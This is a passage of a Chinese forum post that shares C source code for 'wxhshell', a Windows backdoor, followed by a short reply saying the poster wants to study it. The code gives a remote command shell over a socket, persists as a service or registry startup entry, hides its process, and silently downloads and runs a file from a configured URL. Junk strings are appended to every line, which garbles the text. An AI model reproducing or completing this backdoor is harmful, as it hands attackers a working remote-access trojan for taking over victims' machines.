  if(DownloadFile(cmd,wsh)) ,EuJ0]2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SBog7An9SI  
  else y'21)P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+"\7MHw  
  } *(*3/P4D  
  else { r_?il]l  
f83Tl~  
    switch(cmd[0]) { 0X: :<N@  
  Vt;!FZ  
  // 帮助 D@ R>gqb  
  case '?': { 8Z1pQx-P2C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kulh:d:w  
    break; *5Aq\g,n  
  } ~K-_]*[x  
  // 安装 4Px  
  case 'i': { Q?7:Xb N  
    if(Install()) +~]:oj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0oU;Cmw.  
    else LI/;`Y=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gZ&' J\  
    break; C?47v4n-'  
    } 0s+pcqOd^  
  // 卸载 Zyx92z9Y  
  case 'r': { _WeN\F~^  
    if(Uninstall()) cPL]WI0(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qL1 d-nH  
    else dX vp-oi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kIlK"=  
    break; ;+W9EbY2  
    } gyx4='Q  
  // 显示 wxhshell 所在路径 ^V5g[XL2  
  case 'p': { @b,&b6V  
    char svExeFile[MAX_PATH]; wNt-mgir-Q  
    strcpy(svExeFile,"\n\r"); CTOrBl$70  
      strcat(svExeFile,ExeFile); U 2@Mxw  
        send(wsh,svExeFile,strlen(svExeFile),0); ocbNf'W;  
    break; N-9qNLSP  
    } @*}?4wU^k  
  // 重启 SGUu\yS&s  
  case 'b': { Gi*GFv%xB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wEp*j+Mmce  
    if(Boot(REBOOT)) mE+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pcox~U/j  
    else { NIascee  
    closesocket(wsh); fNllF,8}  
    ExitThread(0); H;(|&Asq>  
    } klqN9d9k  
    break; ~3F\7%Iqc  
    } 7\e96+j|f  
  // 关机 pS C5$a(  
  case 'd': { ;{e=Iz}/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <>9zXbI  
    if(Boot(SHUTDOWN)) erQ0fW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $hM>%u  
    else { n;+e(ob;;  
    closesocket(wsh); XnCrxj  
    ExitThread(0); Tl2e?El;4  
    } A0hfy|1#L  
    break; w:~Y@ b~D  
    } ,O[Maj/ch  
  // 获取shell 4X^{aIlshk  
  case 's': { _#mo6')j  
    CmdShell(wsh); v7kR]HU[y  
    closesocket(wsh); sKLH.@  
    ExitThread(0); S7 _^E  
    break; ^3:y<{J  
  } 5f'<0D;K  
  // 退出 C1 YG=!  
  case 'x': { HvSYE[Zt|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Edi`x5"l  
    CloseIt(wsh); }[%d=NY  
    break; ])YGeY(V0+  
    } YEB@p.  
  // 离开  :Ky *AI  
  case 'q': { NcVsQV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zagj1 OV|  
    closesocket(wsh); _a e&@s1  
    WSACleanup(); =cN! h"C[  
    exit(1); _=\=oC  
    break; /e0cx:.w  
        } qauZ-Qoc9  
  } QaMB=wVr  
  } AHA4{Zu[  
l*+5WrOS  
  // 提示信息 _P]!J~$5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZJ7<!?6  
} ZX Sl+k .  
  } p>c`GDU  
4\6-sL?rW  
  return; n!*uv~%$  
} Q4&|^RLLG  
$)fybn Y  
// shell模块句柄 ~^GY(J'  
int CmdShell(SOCKET sock) Z_F}Y2-w9  
{ J^G#x}y  
STARTUPINFO si; Qf}^x9'  
ZeroMemory(&si,sizeof(si)); z U~o"Jv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i(k]}Di:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 22<T.c  
PROCESS_INFORMATION ProcessInfo; +&p}iZp  
char cmdline[]="cmd"; q~K KN /N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g+-=/Ge  
  return 0; bxS+ R\  
} HcrI3v|6  
$YyN-C  
// 自身启动模式 !QB(M@1  
int StartFromService(void) 1YklPMx6  
{ A?q9(n|A"  
typedef struct 5$T>noD  
{ ( _{\tgSm  
  DWORD ExitStatus; Nm 0kMq|h  
  DWORD PebBaseAddress; u{o!j7  
  DWORD AffinityMask; ^:0e pj7  
  DWORD BasePriority; cN{-&\ 6L  
  ULONG UniqueProcessId; ![v@+9  
  ULONG InheritedFromUniqueProcessId; 3xJ_%AD\'  
}   PROCESS_BASIC_INFORMATION; c==` r C  
!U@?Va~Zn  
PROCNTQSIP NtQueryInformationProcess; 5 E%dF9q  
}/%(7Ff{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qGE?[\t[6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m,~ @1  
mkCv  f  
  HANDLE             hProcess; ' Vp6=,P  
  PROCESS_BASIC_INFORMATION pbi; 0$n0f u  
_%)v9}D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  [>'P  
  if(NULL == hInst ) return 0; O^D$ ~ ]  
cNW [i"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $?l?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); axl!zu*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $Q[>v!!X  
V01-n{~G  
  if (!NtQueryInformationProcess) return 0; %}U-g"I  
;P-xKRU!Xx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kf XE=v{t  
  if(!hProcess) return 0; \(lt [=  
HR85!S`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /"t*gN=wrF  
acWm+  
  CloseHandle(hProcess); Vo%MG.IPB  
W9{>.E?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fejs9'cB  
if(hProcess==NULL) return 0; X*2M Nx^K~  
silTL_$  
HMODULE hMod; xGQ958@  
char procName[255]; MorR&K  
unsigned long cbNeeded; D?u*^?a2  
.)W'{2J-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lc%2Pi[X  
1*eWo~G  
  CloseHandle(hProcess); P`'Nv  
Nb[z+V{=  
if(strstr(procName,"services")) return 1; // 以服务启动 4c2*)x$@  
=kq!e  
  return 0; // 注册表启动 qA<PF+f  
} ;r[@;2p*(  
dkuB{C,  
// 主模块 &~+lXNXF  
int StartWxhshell(LPSTR lpCmdLine) 1.]Py"@:  
{ iPMI$  
  SOCKET wsl; xf8C$|,  
BOOL val=TRUE; Q:\I %o  
  int port=0; Y`QJcC(3  
  struct sockaddr_in door; tVUoUl  
&L,zh{Mp  
  if(wscfg.ws_autoins) Install(); r'/7kF- 5  
~_P,z?  
port=atoi(lpCmdLine); (( 0%>HJ{~  
NZ `( d  
if(port<=0) port=wscfg.ws_port; -I.OvzQ*  
lHwQ'/r  
  WSADATA data; {~a=aOS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %|[+\py$Q  
jb8v3L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x68$?CD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 83UIH0(  
  door.sin_family = AF_INET; C6=7zYhR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d#.9!m~.  
  door.sin_port = htons(port); :Vc+/ZyW  
2HBYReQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T_:"~ ]  
closesocket(wsl); yZbO{PMr  
return 1; 4"fiEt,t<x  
} WRQJ6B  
r{.DRbn  
  if(listen(wsl,2) == INVALID_SOCKET) { -tWkN^j8+  
closesocket(wsl); oJy]n9  
return 1; 4f<%<Z  
} !L"3Otd  
  Wxhshell(wsl); ~HsPYc8Fz  
  WSACleanup(); r#wMd9])  
=CEQYk-y1  
return 0; uYAPGs#k  
Z[ }0K3,5  
} LbDhPG`u  
|D%i3@P&ZR  
// 以NT服务方式启动 6|3$43J,F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IC>OxYg*  
{ |*"uj  
DWORD   status = 0; vRYQ4B4o  
  DWORD   specificError = 0xfffffff; DYJ@>8  
RG|]Kt8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DoAK]zyJA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fku9hB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Y%#z'^-  
  serviceStatus.dwWin32ExitCode     = 0; "0Uh(9Fv  
  serviceStatus.dwServiceSpecificExitCode = 0; v:(_-8:F  
  serviceStatus.dwCheckPoint       = 0; R| t"(6  
  serviceStatus.dwWaitHint       = 0; oqHI`Tu  
fD#|C~:=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AxLnF(eG  
  if (hServiceStatusHandle==0) return; qYc]Y9fi  
:<4:h.gO8  
status = GetLastError(); :Eq=wbAw  
  if (status!=NO_ERROR) 4A.ZMH  
{ C"_f3[Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vU LlAQG  
    serviceStatus.dwCheckPoint       = 0; "*|plB  
    serviceStatus.dwWaitHint       = 0; IZY q  
    serviceStatus.dwWin32ExitCode     = status; ao>bnRXR  
    serviceStatus.dwServiceSpecificExitCode = specificError; LGZ5py=xb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?#ue:O1  
    return; cZT;VmC  
  } /\*,|y\<  
Lzu;"#pw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YG$2ySkDhE  
  serviceStatus.dwCheckPoint       = 0; ZYZQ?FN  
  serviceStatus.dwWaitHint       = 0; #=UEx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V`?2g_4N  
} QPjmIO  
Oi+(`  
// 处理NT服务事件,比如:启动、停止 ik02Q,J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [,)yc/{*  
{ S]iMZ \I/  
switch(fdwControl) 3 G/#OJ  
{ '{WYho!  
case SERVICE_CONTROL_STOP: " ,&#9  
  serviceStatus.dwWin32ExitCode = 0; "| w..%Wc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Fv&z'R  
  serviceStatus.dwCheckPoint   = 0; tyFhp:ZB  
  serviceStatus.dwWaitHint     = 0; 'gd3 w~  
  { D"_~Njf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n~N>c*p  
  } dk~h  
  return; 6T{Zee  
case SERVICE_CONTROL_PAUSE: xxOo8+kA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O~F/{: U  
  break; R>H*MvN  
case SERVICE_CONTROL_CONTINUE: <r]7xsr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2f(5C*~  
  break; o8\@R  
case SERVICE_CONTROL_INTERROGATE: _l,?Y;OF  
  break; c\~H_ ~F  
}; bA\TuB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q/r0p>  
} ^p(t*%LM  
e\ i K  
// 标准应用程序主函数 5g  ,u\`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  {n}6  
{ J,;[n*s  
^Cb7R/R3  
// 获取操作系统版本 %0T/>:1[E  
OsIsNt=GetOsVer(); $,"{g<*k;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3`_jNPV1  
*A}QBZ  
  // 从命令行安装 2Cn^<(F^4I  
  if(strpbrk(lpCmdLine,"iI")) Install(); -dbD&8  
[tDUR  
  // 下载执行文件 OQ"%(w>Hb  
if(wscfg.ws_downexe) { J7X-=E D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3;=nQ{0b  
  WinExec(wscfg.ws_filenam,SW_HIDE); )\_xB_K\  
} 9i@AOU  
1BQTvUAA  
if(!OsIsNt) { rm2"pfs  
// 如果时win9x,隐藏进程并且设置为注册表启动 '8>h4s4  
HideProc(); ~d6 _  
StartWxhshell(lpCmdLine); ;:1d<Q|  
} EJY[M  
else )3v0ex@Jl  
  if(StartFromService()) U I|L;5  
  // 以服务方式启动 Frn#?n)S9  
  StartServiceCtrlDispatcher(DispatchTable); +:1ay^YI  
else 2pFOC;tl  
  // 普通方式启动 zMb7a_W  
  StartWxhshell(lpCmdLine); :7%JD.;W  
b1{~j]"$L  
return 0; %Q"zU9  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八